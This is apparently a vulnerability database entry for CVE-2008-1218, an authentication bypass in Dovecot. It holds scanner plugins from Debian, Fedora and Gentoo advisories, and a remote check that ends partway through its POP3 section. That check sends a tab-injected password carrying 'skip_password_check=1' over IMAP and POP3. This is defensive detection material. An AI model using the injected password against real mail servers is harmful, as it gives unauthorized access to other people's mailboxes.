Vulnerabilities > CVE-2008-1218 - Credentials Management vulnerability in Dovecot

047910
CVSS 6.8 - MEDIUM
Attack vector
NETWORK
Attack complexity
MEDIUM
Privileges required
NONE
Confidentiality impact
PARTIAL
Integrity impact
PARTIAL
Availability impact
PARTIAL
network
dovecot
CWE-255
nessus
exploit available

Summary

Argument injection vulnerability in Dovecot 1.0.x before 1.0.13, and 1.1.x before 1.1.rc3, when using blocking passdbs, allows remote attackers to bypass the password check via a password containing TAB characters, which are treated as argument delimiters that enable the skip_password_check field to be specified.

Vulnerable Configurations

Part Description Count
Application
Dovecot
2

Common Weakness Enumeration (CWE)

Exploit-Db

descriptionDovecot IMAP 1.0.10. CVE-2008-1218. Remote exploits for multiple platform
fileexploits/multiple/remote/5257.py
idEDB-ID:5257
last seen2016-01-31
modified2008-03-14
platformmultiple
port
published2008-03-14
reporterkingcope
sourcehttps://www.exploit-db.com/download/5257/
titleDovecot IMAP 1.0.10 <= 1.1rc2 - Remote Email Disclosure Exploit
typeremote

Nessus

  • NASL familyDebian Local Security Checks
    NASL idDEBIAN_DSA-1516.NASL
    descriptionPrior to this update, the default configuration for Dovecot used by Debian runs the server daemons with group mail privileges. This means that users with write access to their mail directory on the server (for example, through an SSH login) could read and also delete via a symbolic link mailboxes owned by other users for which they do not have direct access (CVE-2008-1199 ). In addition, an internal interpretation conflict in password handling has been addressed proactively, even though it is not known to be exploitable (CVE-2008-1218 ). Note that applying this update requires manual action: The configuration setting
    last seen2020-06-01
    modified2020-06-02
    plugin id31587
    published2008-03-17
    reporterThis script is Copyright (C) 2008-2019 and is owned by Tenable, Inc. or an Affiliate thereof.
    sourcehttps://www.tenable.com/plugins/nessus/31587
    titleDebian DSA-1516-1 : dovecot - privilege escalation
    code
    #%NASL_MIN_LEVEL 80502
    #
    # (C) Tenable Network Security, Inc.
    #
    # The descriptive text and package checks in this plugin were  
    # extracted from Debian Security Advisory DSA-1516. The text 
    # itself is copyright (C) Software in the Public Interest, Inc.
    #
    
    include("compat.inc");
    
    if (description)
    {
      script_id(31587);
      script_version("1.14");
      script_cvs_date("Date: 2019/08/02 13:32:21");
    
      script_cve_id("CVE-2008-1199", "CVE-2008-1218");
      script_xref(name:"DSA", value:"1516");
    
      script_name(english:"Debian DSA-1516-1 : dovecot - privilege escalation");
      script_summary(english:"Checks dpkg output for the updated package");
    
      script_set_attribute(
        attribute:"synopsis", 
        value:"The remote Debian host is missing a security-related update."
      );
      script_set_attribute(
        attribute:"description", 
        value:
    "Prior to this update, the default configuration for Dovecot used by
    Debian runs the server daemons with group mail privileges. This means
    that users with write access to their mail directory on the server
    (for example, through an SSH login) could read and also delete via a
    symbolic link mailboxes owned by other users for which they do not
    have direct access (CVE-2008-1199 ). In addition, an internal
    interpretation conflict in password handling has been addressed
    proactively, even though it is not known to be exploitable
    (CVE-2008-1218 ).
    
    Note that applying this update requires manual action: The
    configuration setting 'mail_extra_groups = mail' has been replaced
    with 'mail_privileged_group = mail'. The update will show a
    configuration file conflict in /etc/dovecot/dovecot.conf. It is
    recommended that you keep the currently installed configuration file,
    and change the affected line. For your reference, the sample
    configuration (without your local changes) will have been written to
    /etc/dovecot/dovecot.conf.dpkg-new.
    
    If your current configuration uses mail_extra_groups with a value
    different from 'mail', you may have to resort to themail_access_groups
    configuration directive."
      );
      script_set_attribute(
        attribute:"see_also",
        value:"https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=469457"
      );
      script_set_attribute(
        attribute:"see_also",
        value:"https://security-tracker.debian.org/tracker/CVE-2008-1199"
      );
      script_set_attribute(
        attribute:"see_also",
        value:"https://security-tracker.debian.org/tracker/CVE-2008-1218"
      );
      script_set_attribute(
        attribute:"see_also",
        value:"https://www.debian.org/security/2008/dsa-1516"
      );
      script_set_attribute(
        attribute:"solution", 
        value:
    "For the old stable distribution (sarge), no updates are provided. We
    recommend that you consider upgrading to the stable distribution.
    
    For the stable distribution (etch), these problems have been fixed in
    version 1.0.rc15-2etch4."
      );
      script_set_cvss_base_vector("CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:P");
      script_cwe_id(16, 59, 255);
    
      script_set_attribute(attribute:"plugin_type", value:"local");
      script_set_attribute(attribute:"cpe", value:"p-cpe:/a:debian:debian_linux:dovecot");
      script_set_attribute(attribute:"cpe", value:"cpe:/o:debian:debian_linux:4.0");
    
      script_set_attribute(attribute:"patch_publication_date", value:"2008/03/14");
      script_set_attribute(attribute:"plugin_publication_date", value:"2008/03/17");
      script_end_attributes();
    
      script_category(ACT_GATHER_INFO);
      script_copyright(english:"This script is Copyright (C) 2008-2019 and is owned by Tenable, Inc. or an Affiliate thereof.");
      script_family(english:"Debian Local Security Checks");
    
      script_dependencies("ssh_get_info.nasl");
      script_require_keys("Host/local_checks_enabled", "Host/Debian/release", "Host/Debian/dpkg-l");
    
      exit(0);
    }
    
    
    include("audit.inc");
    include("debian_package.inc");
    
    
    if (!get_kb_item("Host/local_checks_enabled")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);
    if (!get_kb_item("Host/Debian/release")) audit(AUDIT_OS_NOT, "Debian");
    if (!get_kb_item("Host/Debian/dpkg-l")) audit(AUDIT_PACKAGE_LIST_MISSING);
    
    
    flag = 0;
    if (deb_check(release:"4.0", prefix:"dovecot-common", reference:"1.0.rc15-2etch4")) flag++;
    if (deb_check(release:"4.0", prefix:"dovecot-imapd", reference:"1.0.rc15-2etch4")) flag++;
    if (deb_check(release:"4.0", prefix:"dovecot-pop3d", reference:"1.0.rc15-2etch4")) flag++;
    
    if (flag)
    {
      if (report_verbosity > 0) security_warning(port:0, extra:deb_report_get());
      else security_warning(0);
      exit(0);
    }
    else audit(AUDIT_HOST_NOT, "affected");
    
  • NASL familyFedora Local Security Checks
    NASL idFEDORA_2008-2475.NASL
    descriptionThis update upgrades dovecot from version 1.0.10 to 1.0.13. Besides bug fixes, two security issues were fixed upstream in version 1.0.11 and 1.0.13. CVE-2008-1199 If Dovecot was configured with mail_extra_groups = mail, users having shell access to IMAP server could use this flaw to read, modify or delete mails of other users stored in inbox files in /var/mail. /var/mail directory is mail-group writable and user inbox files are by default created by useradd with permission 660, <user>:mail. No mail_extra_groups is set by default, hence default Fedora configuration was not affected by this problem. If your configuration sets mail_extra_groups, see new options mail_privileged_group and mail_access_groups introduced in Dovecot 1.0.11. (mail_extra_groups is still accepted, but is deprecated now) CVE-2008-1218 On Dovecot versions 1.0.11 and newer, it was possible to gain password-less login via passwords with tab characters, which were not filtered properly. Dovecot versions in Fedora were not affected by this unauthorized login flaw, but only by a related minor memory leak in dovecot-auth worker process. See referenced bugzilla for further details about this flaw. Note that Tenable Network Security has extracted the preceding description block directly from the Fedora security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.
    last seen2020-06-01
    modified2020-06-02
    plugin id31436
    published2008-03-13
    reporterThis script is Copyright (C) 2008-2019 and is owned by Tenable, Inc. or an Affiliate thereof.
    sourcehttps://www.tenable.com/plugins/nessus/31436
    titleFedora 7 : dovecot-1.0.13-18.fc7 (2008-2475)
    code
    #%NASL_MIN_LEVEL 80502
    #
    # (C) Tenable Network Security, Inc.
    #
    # The descriptive text and package checks in this plugin were  
    # extracted from Fedora Security Advisory 2008-2475.
    #
    
    include("compat.inc");
    
    if (description)
    {
      script_id(31436);
      script_version ("1.16");
      script_cvs_date("Date: 2019/08/02 13:32:27");
    
      script_cve_id("CVE-2008-1199", "CVE-2008-1218");
      script_bugtraq_id(28092, 28181);
      script_xref(name:"FEDORA", value:"2008-2475");
    
      script_name(english:"Fedora 7 : dovecot-1.0.13-18.fc7 (2008-2475)");
      script_summary(english:"Checks rpm output for the updated package.");
    
      script_set_attribute(
        attribute:"synopsis", 
        value:"The remote Fedora host is missing a security update."
      );
      script_set_attribute(
        attribute:"description", 
        value:
    "This update upgrades dovecot from version 1.0.10 to 1.0.13. Besides
    bug fixes, two security issues were fixed upstream in version 1.0.11
    and 1.0.13. CVE-2008-1199 If Dovecot was configured with
    mail_extra_groups = mail, users having shell access to IMAP server
    could use this flaw to read, modify or delete mails of other users
    stored in inbox files in /var/mail. /var/mail directory is mail-group
    writable and user inbox files are by default created by useradd with
    permission 660, <user>:mail. No mail_extra_groups is set by default,
    hence default Fedora configuration was not affected by this problem.
    If your configuration sets mail_extra_groups, see new options
    mail_privileged_group and mail_access_groups introduced in Dovecot
    1.0.11. (mail_extra_groups is still accepted, but is deprecated now)
    CVE-2008-1218 On Dovecot versions 1.0.11 and newer, it was possible to
    gain password-less login via passwords with tab characters, which were
    not filtered properly. Dovecot versions in Fedora were not affected by
    this unauthorized login flaw, but only by a related minor memory leak
    in dovecot-auth worker process. See referenced bugzilla for further
    details about this flaw.
    
    Note that Tenable Network Security has extracted the preceding
    description block directly from the Fedora security advisory. Tenable
    has attempted to automatically clean and format it as much as possible
    without introducing additional issues."
      );
      script_set_attribute(
        attribute:"see_also",
        value:"https://bugzilla.redhat.com/show_bug.cgi?id=436927"
      );
      script_set_attribute(
        attribute:"see_also",
        value:"https://bugzilla.redhat.com/show_bug.cgi?id=436928"
      );
      # https://lists.fedoraproject.org/pipermail/package-announce/2008-March/008720.html
      script_set_attribute(
        attribute:"see_also",
        value:"http://www.nessus.org/u?aa34b1a8"
      );
      script_set_attribute(
        attribute:"solution", 
        value:"Update the affected dovecot package."
      );
      script_set_cvss_base_vector("CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:P");
      script_set_cvss_temporal_vector("CVSS2#E:POC/RL:OF/RC:C");
      script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
      script_set_attribute(attribute:"exploit_available", value:"true");
      script_cwe_id(16, 59, 255);
    
      script_set_attribute(attribute:"plugin_type", value:"local");
      script_set_attribute(attribute:"cpe", value:"p-cpe:/a:fedoraproject:fedora:dovecot");
      script_set_attribute(attribute:"cpe", value:"cpe:/o:fedoraproject:fedora:7");
    
      script_set_attribute(attribute:"patch_publication_date", value:"2008/03/13");
      script_set_attribute(attribute:"plugin_publication_date", value:"2008/03/13");
      script_end_attributes();
    
      script_category(ACT_GATHER_INFO);
      script_copyright(english:"This script is Copyright (C) 2008-2019 and is owned by Tenable, Inc. or an Affiliate thereof.");
      script_family(english:"Fedora Local Security Checks");
    
      script_dependencies("ssh_get_info.nasl");
      script_require_keys("Host/local_checks_enabled", "Host/RedHat/release", "Host/RedHat/rpm-list");
    
      exit(0);
    }
    
    
    include("audit.inc");
    include("global_settings.inc");
    include("rpm.inc");
    
    if (!get_kb_item("Host/local_checks_enabled")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);
    release = get_kb_item("Host/RedHat/release");
    if (isnull(release) || "Fedora" >!< release) audit(AUDIT_OS_NOT, "Fedora");
    os_ver = eregmatch(pattern: "Fedora.*release ([0-9]+)", string:release);
    if (isnull(os_ver)) audit(AUDIT_UNKNOWN_APP_VER, "Fedora");
    os_ver = os_ver[1];
    if (! ereg(pattern:"^7([^0-9]|$)", string:os_ver)) audit(AUDIT_OS_NOT, "Fedora 7.x", "Fedora " + os_ver);
    
    if (!get_kb_item("Host/RedHat/rpm-list")) audit(AUDIT_PACKAGE_LIST_MISSING);
    
    cpu = get_kb_item("Host/cpu");
    if (isnull(cpu)) audit(AUDIT_UNKNOWN_ARCH);
    if ("x86_64" >!< cpu && cpu !~ "^i[3-6]86$") audit(AUDIT_LOCAL_CHECKS_NOT_IMPLEMENTED, "Fedora", cpu);
    
    flag = 0;
    if (rpm_check(release:"FC7", reference:"dovecot-1.0.13-18.fc7")) flag++;
    
    
    if (flag)
    {
      if (report_verbosity > 0) security_warning(port:0, extra:rpm_report_get());
      else security_warning(0);
      exit(0);
    }
    else
    {
      tested = pkg_tests_get();
      if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);
      else audit(AUDIT_PACKAGE_NOT_INSTALLED, "dovecot");
    }
    
  • NASL familyFedora Local Security Checks
    NASL idFEDORA_2008-2464.NASL
    descriptionThis update upgrades dovecot from version 1.0.10 to 1.0.13. Besides bug fixes, two security issues were fixed upstream in version 1.0.11 and 1.0.13. CVE-2008-1199 If Dovecot was configured with mail_extra_groups = mail, users having shell access to IMAP server could use this flaw to read, modify or delete mails of other users stored in inbox files in /var/mail. /var/mail directory is mail-group writable and user inbox files are by default created by useradd with permission 660, <user>:mail. No mail_extra_groups is set by default, hence default Fedora configuration was not affected by this problem. If your configuration sets mail_extra_groups, see new options mail_privileged_group and mail_access_groups introduced in Dovecot 1.0.11. (mail_extra_groups is still accepted, but is deprecated now) CVE-2008-1218 On Dovecot versions 1.0.11 and newer, it was possible to gain password-less login via passwords with tab characters, which were not filtered properly. Dovecot versions in Fedora were not affected by this unauthorized login flaw, but only by a related minor memory leak in dovecot-auth worker process. See referenced bugzilla for further details about this flaw. Note that Tenable Network Security has extracted the preceding description block directly from the Fedora security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.
    last seen2020-06-01
    modified2020-06-02
    plugin id31434
    published2008-03-13
    reporterThis script is Copyright (C) 2008-2019 and is owned by Tenable, Inc. or an Affiliate thereof.
    sourcehttps://www.tenable.com/plugins/nessus/31434
    titleFedora 8 : dovecot-1.0.13-6.fc8 (2008-2464)
    code
    #%NASL_MIN_LEVEL 80502
    #
    # (C) Tenable Network Security, Inc.
    #
    # The descriptive text and package checks in this plugin were  
    # extracted from Fedora Security Advisory 2008-2464.
    #
    
    include("compat.inc");
    
    if (description)
    {
      script_id(31434);
      script_version ("1.16");
      script_cvs_date("Date: 2019/08/02 13:32:27");
    
      script_cve_id("CVE-2008-1199", "CVE-2008-1218");
      script_bugtraq_id(28092, 28181);
      script_xref(name:"FEDORA", value:"2008-2464");
    
      script_name(english:"Fedora 8 : dovecot-1.0.13-6.fc8 (2008-2464)");
      script_summary(english:"Checks rpm output for the updated package.");
    
      script_set_attribute(
        attribute:"synopsis", 
        value:"The remote Fedora host is missing a security update."
      );
      script_set_attribute(
        attribute:"description", 
        value:
    "This update upgrades dovecot from version 1.0.10 to 1.0.13. Besides
    bug fixes, two security issues were fixed upstream in version 1.0.11
    and 1.0.13. CVE-2008-1199 If Dovecot was configured with
    mail_extra_groups = mail, users having shell access to IMAP server
    could use this flaw to read, modify or delete mails of other users
    stored in inbox files in /var/mail. /var/mail directory is mail-group
    writable and user inbox files are by default created by useradd with
    permission 660, <user>:mail. No mail_extra_groups is set by default,
    hence default Fedora configuration was not affected by this problem.
    If your configuration sets mail_extra_groups, see new options
    mail_privileged_group and mail_access_groups introduced in Dovecot
    1.0.11. (mail_extra_groups is still accepted, but is deprecated now)
    CVE-2008-1218 On Dovecot versions 1.0.11 and newer, it was possible to
    gain password-less login via passwords with tab characters, which were
    not filtered properly. Dovecot versions in Fedora were not affected by
    this unauthorized login flaw, but only by a related minor memory leak
    in dovecot-auth worker process. See referenced bugzilla for further
    details about this flaw.
    
    Note that Tenable Network Security has extracted the preceding
    description block directly from the Fedora security advisory. Tenable
    has attempted to automatically clean and format it as much as possible
    without introducing additional issues."
      );
      script_set_attribute(
        attribute:"see_also",
        value:"https://bugzilla.redhat.com/show_bug.cgi?id=436927"
      );
      script_set_attribute(
        attribute:"see_also",
        value:"https://bugzilla.redhat.com/show_bug.cgi?id=436928"
      );
      # https://lists.fedoraproject.org/pipermail/package-announce/2008-March/008697.html
      script_set_attribute(
        attribute:"see_also",
        value:"http://www.nessus.org/u?72415f05"
      );
      script_set_attribute(
        attribute:"solution", 
        value:"Update the affected dovecot package."
      );
      script_set_cvss_base_vector("CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:P");
      script_set_cvss_temporal_vector("CVSS2#E:POC/RL:OF/RC:C");
      script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
      script_set_attribute(attribute:"exploit_available", value:"true");
      script_cwe_id(16, 59, 255);
    
      script_set_attribute(attribute:"plugin_type", value:"local");
      script_set_attribute(attribute:"cpe", value:"p-cpe:/a:fedoraproject:fedora:dovecot");
      script_set_attribute(attribute:"cpe", value:"cpe:/o:fedoraproject:fedora:8");
    
      script_set_attribute(attribute:"patch_publication_date", value:"2008/03/13");
      script_set_attribute(attribute:"plugin_publication_date", value:"2008/03/13");
      script_end_attributes();
    
      script_category(ACT_GATHER_INFO);
      script_copyright(english:"This script is Copyright (C) 2008-2019 and is owned by Tenable, Inc. or an Affiliate thereof.");
      script_family(english:"Fedora Local Security Checks");
    
      script_dependencies("ssh_get_info.nasl");
      script_require_keys("Host/local_checks_enabled", "Host/RedHat/release", "Host/RedHat/rpm-list");
    
      exit(0);
    }
    
    
    include("audit.inc");
    include("global_settings.inc");
    include("rpm.inc");
    
    if (!get_kb_item("Host/local_checks_enabled")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);
    release = get_kb_item("Host/RedHat/release");
    if (isnull(release) || "Fedora" >!< release) audit(AUDIT_OS_NOT, "Fedora");
    os_ver = eregmatch(pattern: "Fedora.*release ([0-9]+)", string:release);
    if (isnull(os_ver)) audit(AUDIT_UNKNOWN_APP_VER, "Fedora");
    os_ver = os_ver[1];
    if (! ereg(pattern:"^8([^0-9]|$)", string:os_ver)) audit(AUDIT_OS_NOT, "Fedora 8.x", "Fedora " + os_ver);
    
    if (!get_kb_item("Host/RedHat/rpm-list")) audit(AUDIT_PACKAGE_LIST_MISSING);
    
    cpu = get_kb_item("Host/cpu");
    if (isnull(cpu)) audit(AUDIT_UNKNOWN_ARCH);
    if ("x86_64" >!< cpu && cpu !~ "^i[3-6]86$") audit(AUDIT_LOCAL_CHECKS_NOT_IMPLEMENTED, "Fedora", cpu);
    
    flag = 0;
    if (rpm_check(release:"FC8", reference:"dovecot-1.0.13-6.fc8")) flag++;
    
    
    if (flag)
    {
      if (report_verbosity > 0) security_warning(port:0, extra:rpm_report_get());
      else security_warning(0);
      exit(0);
    }
    else
    {
      tested = pkg_tests_get();
      if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);
      else audit(AUDIT_PACKAGE_NOT_INSTALLED, "dovecot");
    }
    
  • NASL familyGentoo Local Security Checks
    NASL idGENTOO_GLSA-200803-25.NASL
    descriptionThe remote host is affected by the vulnerability described in GLSA-200803-25 (Dovecot: Multiple vulnerabilities) Dovecot uses the group configured via the
    last seen2020-06-01
    modified2020-06-02
    plugin id31612
    published2008-03-19
    reporterThis script is Copyright (C) 2008-2019 Tenable Network Security, Inc.
    sourcehttps://www.tenable.com/plugins/nessus/31612
    titleGLSA-200803-25 : Dovecot: Multiple vulnerabilities
    code
    #%NASL_MIN_LEVEL 80502
    #
    # (C) Tenable Network Security, Inc.
    #
    # The descriptive text and package checks in this plugin were
    # extracted from Gentoo Linux Security Advisory GLSA 200803-25.
    #
    # The advisory text is Copyright (C) 2001-2016 Gentoo Foundation, Inc.
    # and licensed under the Creative Commons - Attribution / Share Alike 
    # license. See http://creativecommons.org/licenses/by-sa/3.0/
    #
    
    include("compat.inc");
    
    if (description)
    {
      script_id(31612);
      script_version("1.15");
      script_cvs_date("Date: 2019/08/02 13:32:44");
    
      script_cve_id("CVE-2008-1199", "CVE-2008-1218");
      script_bugtraq_id(28092, 28181);
      script_xref(name:"GLSA", value:"200803-25");
    
      script_name(english:"GLSA-200803-25 : Dovecot: Multiple vulnerabilities");
      script_summary(english:"Checks for updated package(s) in /var/db/pkg");
    
      script_set_attribute(
        attribute:"synopsis", 
        value:
    "The remote Gentoo host is missing one or more security-related
    patches."
      );
      script_set_attribute(
        attribute:"description", 
        value:
    "The remote host is affected by the vulnerability described in GLSA-200803-25
    (Dovecot: Multiple vulnerabilities)
    
        Dovecot uses the group configured via the 'mail_extra_groups' setting,
        which should be used to create lockfiles in the /var/mail directory,
        when accessing arbitrary files (CVE-2008-1199). Dovecot does not escape
        TAB characters in passwords when saving them, which might allow for
        argument injection in blocking passdbs such as MySQL, PAM or shadow
        (CVE-2008-1218).
      
    Impact :
    
        Remote attackers can exploit the first vulnerability to disclose
        sensitive data, such as the mail of other users, or modify files or
        directories that are writable by group via a symlink attack. Please
        note that the 'mail_extra_groups' setting is set to the 'mail' group by
        default when the 'mbox' USE flag is enabled.
        The second vulnerability can be abused to inject arguments for internal
        fields. No exploitation vectors are known for this vulnerability that
        affect previously stable versions of Dovecot in Gentoo.
      
    Workaround :
    
        There is no known workaround at this time."
      );
      script_set_attribute(
        attribute:"see_also",
        value:"https://security.gentoo.org/glsa/200803-25"
      );
      script_set_attribute(
        attribute:"solution", 
        value:
    "All Dovecot users should upgrade to the latest version:
        # emerge --sync
        # emerge --ask --oneshot --verbose '>=net-mail/dovecot-1.0.13-r1'
        This version removes the 'mail_extra_groups' option and introduces a
        'mail_privileged_group' setting which is handled safely."
      );
      script_set_cvss_base_vector("CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:P");
      script_set_cvss_temporal_vector("CVSS2#E:POC/RL:OF/RC:C");
      script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
      script_set_attribute(attribute:"exploit_available", value:"true");
      script_cwe_id(16, 59, 255);
    
      script_set_attribute(attribute:"plugin_type", value:"local");
      script_set_attribute(attribute:"cpe", value:"p-cpe:/a:gentoo:linux:dovecot");
      script_set_attribute(attribute:"cpe", value:"cpe:/o:gentoo:linux");
    
      script_set_attribute(attribute:"patch_publication_date", value:"2008/03/18");
      script_set_attribute(attribute:"plugin_publication_date", value:"2008/03/19");
      script_end_attributes();
    
      script_category(ACT_GATHER_INFO);
      script_copyright(english:"This script is Copyright (C) 2008-2019 Tenable Network Security, Inc.");
      script_family(english:"Gentoo Local Security Checks");
    
      script_dependencies("ssh_get_info.nasl");
      script_require_keys("Host/local_checks_enabled", "Host/Gentoo/release", "Host/Gentoo/qpkg-list");
    
      exit(0);
    }
    
    
    include("audit.inc");
    include("global_settings.inc");
    include("qpkg.inc");
    
    if (!get_kb_item("Host/local_checks_enabled")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);
    if (!get_kb_item("Host/Gentoo/release")) audit(AUDIT_OS_NOT, "Gentoo");
    if (!get_kb_item("Host/Gentoo/qpkg-list")) audit(AUDIT_PACKAGE_LIST_MISSING);
    
    
    flag = 0;
    
    if (qpkg_check(package:"net-mail/dovecot", unaffected:make_list("ge 1.0.13-r1"), vulnerable:make_list("lt 1.0.13-r1"))) flag++;
    
    if (flag)
    {
      if (report_verbosity > 0) security_warning(port:0, extra:qpkg_report_get());
      else security_warning(0);
      exit(0);
    }
    else
    {
      tested = qpkg_tests_get();
      if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);
      else audit(AUDIT_PACKAGE_NOT_INSTALLED, "Dovecot");
    }
    
  • NASL familyMisc.
    NASL idDOVECOT_AUTH_BYPASS.NASL
    descriptionThe remote host is running Dovecot, an open source IMAP4 / POP3 server for Linux / Unix. The version of Dovecot installed on the remote host uses a TAB character as a delimiter internally but fails to escape them when they appear in a password. Provided Dovecot is configured to use a blocking passdb, an attacker can leverage this issue to bypass authentication and gain access to a user
    last seen2020-06-01
    modified2020-06-02
    plugin id31466
    published2008-03-14
    reporterThis script is Copyright (C) 2008-2018 Tenable Network Security, Inc.
    sourcehttps://www.tenable.com/plugins/nessus/31466
    titleDovecot passdbs Argument Injection Authentication Bypass
    code
    #
    # (C) Tenable Network Security, Inc.
    #
    
    include("compat.inc");
    
    if (description)
    {
      script_id(31466);
      script_version("1.16");
      script_cvs_date("Date: 2018/11/15 20:50:23");
    
      script_cve_id("CVE-2008-1218");
      script_bugtraq_id(28181);
      script_xref(name:"Secunia", value:"29295");
    
      script_name(english:"Dovecot passdbs Argument Injection Authentication Bypass");
      script_summary(english:"Tries to bypass Dovecot authentication");
    
      script_set_attribute(attribute:"synopsis", value:
    "The remote mail server is affected by an authentication bypass
    vulnerability.");
      script_set_attribute(attribute:"description", value:
    "The remote host is running Dovecot, an open source IMAP4 / POP3 server
    for Linux / Unix. 
    
    The version of Dovecot installed on the remote host uses a TAB
    character as a delimiter internally but fails to escape them when they
    appear in a password.  Provided Dovecot is configured to use a
    blocking passdb, an attacker can leverage this issue to bypass
    authentication and gain access to a user's mailbox.");
      script_set_attribute(attribute:"see_also", value:"https://www.dovecot.org/list/dovecot-news/2008-March/000064.html");
      script_set_attribute(attribute:"solution", value:
    "Upgrade to Dovecot v1.0.13 / v1.1.rc3 or later.");
      script_set_cvss_base_vector("CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:N");
      script_set_cvss_temporal_vector("CVSS2#E:POC/RL:OF/RC:C");
      script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
      script_set_attribute(attribute:"exploit_available", value:"true");
      script_cwe_id(255);
      script_set_attribute(attribute:"plugin_publication_date", value:"2008/03/14");
    
      script_set_attribute(attribute:"plugin_type", value:"remote");
      script_set_attribute(attribute:"cpe", value:"cpe:/a:dovecot:dovecot");
      script_end_attributes();
     
      script_category(ACT_GATHER_INFO);
      script_family(english:"Misc.");
    
      script_copyright(english:"This script is Copyright (C) 2008-2018 Tenable Network Security, Inc.");
    
      script_dependencies("find_service2.nasl");
      script_exclude_keys("global_settings/supplied_logins_only");
      script_require_ports("Services/imap", 143, "Services/pop3", 110);
    
      exit(0);
    }
    
    include("audit.inc");
    include("global_settings.inc");
    include("imap_func.inc");
    include("misc_func.inc");
    include("pop3_func.inc");
    
    if (supplied_logins_only) audit(AUDIT_SUPPLIED_LOGINS_ONLY);
    
    # Test IMAP ports.
    port = get_kb_item("Services/imap");
    if (!port) port = 143;
    if (get_port_state(port) && !get_kb_item("imap/false_imap"))
    {
      # Unless we're paranoid, make sure the banner corresponds to Dovecot.
      #
      # nb: this corresponds to 'login_greeting' in dovecot.conf and
      #     is configurable.
      banner = get_imap_banner(port:port);
      if (
        report_paranoia > 1 ||
        (banner && "dovecot ready" >< tolower(banner))
      )
      {
        # Get a list of users to check.
        #
        # nb: for the check to work, we must have a valid user who can normally
        #     authenticate to dovecot; see the discussion about mail users, and
        #     especially UIDs, at <http://wiki.dovecot.org/UserIds>.
        if (get_kb_item("imap/login")) users = make_list(get_kb_item("imap/login"));
        else users = make_list(
          "nobody",
          "nfsnobody"
        );
    
        # Try to exploit the issue.
        pass = string(SCRIPT_NAME, "\tmaster_user=root\tskip_password_check=1");
        vuln = FALSE;
    
        foreach user (users)
        {
          # Establish a connection.
          tag = 0;
          soc = open_sock_tcp(port);
          if (soc)
          {
            s = recv_line(socket:soc, length:1024);
            if (strlen(s))
            {
              s = chomp(s);
    
              # - try the PLAIN SASL mechanism.
              #   nb: RFC 3501 requires this be supported by imap4rev1 servers, although
              #       it may also require SSL / TLS encapsulation.
              resp = NULL;
              ++tag;
    
              c = strcat("nessus", tag, ' AUTHENTICATE "PLAIN"');
              send(socket:soc, data: c+'\r\n');
              s = recv_line(socket:soc, length:1024);
              s = chomp(s);
              if (s == "+")
              {
                c = base64(str:raw_string(0, user, 0, pass));
                send(socket:soc, data: c+'\r\n');
                while (s = recv_line(socket:soc, length:1024))
                {
                  s = chomp(s);
                  m = eregmatch(pattern: strcat("^nessus", tag, " (OK|BAD|NO)"), string:s, icase:TRUE);
                  if (!isnull(m))
                  {
                    resp = m[1];
    
                    # There's a problem if we were successful.
                    if (resp && resp =~ "^OK") vuln = TRUE;
    
                    break;
                  }
                  resp = "";
                }
              }
              # - if that didn't work, try LOGIN command.
              if (!resp)
              {
                ++tag;
                c =  strcat("nessus", tag, " LOGIN ", user, ' "', pass, '"');
                send(socket:soc, data: c+'\r\n');
                while (s = recv_line(socket:soc, length:1024))
                {
                  s = chomp(s);
                  m = eregmatch(pattern:strcat("^nessus", tag, " (OK|BAD|NO)"), string:s, icase:TRUE);
                  if (!isnull(m))
                  {
                    resp = m[1];
    
                    # There's a problem if we were successful.
                    if (resp && resp =~ "OK") vuln = TRUE;
    
                    break;
                  }
                  resp = "";
                }
              }
    
              # Logout.
              ++tag;
              c = strcat("nessus", tag, " LOGOUT");
              send(socket:soc, data: c+'\r\n');
              while (s = recv_line(socket:soc, length:1024))
              {
                s = chomp(s);
                m = eregmatch(pattern: strcat("^nessus", tag, " (OK|BAD|NO)"), string:s, icase:TRUE);
                if (!isnull(m))
                {
                  resp = m[1];
                  break;
                }
                resp = "";
              }
            }
            close(soc);
    
            if (vuln)
            {
              security_warning(port);
              if (thorough_tests) break;
              else exit(0);
            }
          }
        }
      }
    }
    
    
    # Test POP3 ports.
    port = get_service(svc: "pop3", default: 110, exit_on_fail: 1);
    if (! get_kb_item("pop3/"+port+"/false_pop3"))
    {
      # Unless we're paranoid, make sure the banner corresponds to Dovecot.
      banner = get_pop3_banner(port:port);
      if (
        report_paranoia > 1 ||
        (banner && "dovecot ready" >< tolower(banner))
      )
      {
        # Get a list of users to check.
        #
        # nb: for the check to work, we must have a valid user who can normally
        #     authenticate to dovecot; see the discussion about mail users, and
        #     especially UIDs, at <http://wiki.dovecot.org/UserIds>.
        if (get_kb_item("pop3/login")) users = make_list(get_kb_item("pop3/login"));
        else users = make_list(
          "nobody",
          "nfsnobody"
        );
    
        # Try to exploit the issue.
        pass = strcat(SCRIPT_NAME, '\tmaster_user=root\tskip_password_check=1');
        vuln = FALSE;
    
        foreach user (users)
        {
          # Establish a connection.
          tag = 0;
          soc = open_sock_tcp(port);
          if (soc)
          {
            s = recv_line(socket:soc, length:1024);
            if (strlen(s))
            {
              s = chomp(s);
    
              resp = "";
              c = strcat("USER ", user);
              send(socket:soc, data: c+'\r\n');
              while (s = recv_line(socket:soc, length:1024))
              {
                s = chomp(s);
                m = eregmatch(pattern:"^(\+OK|-ERR)( |$)", string:s, icase:TRUE);
                if (!isnull(m))
                {
                  resp = m[1];
                  break;
                }
                resp = "";
              }
              if (resp && resp =~ "OK") 
              {
                c = strcat("PASS ", pass);
                send(socket:soc, data: c+'\r\n');
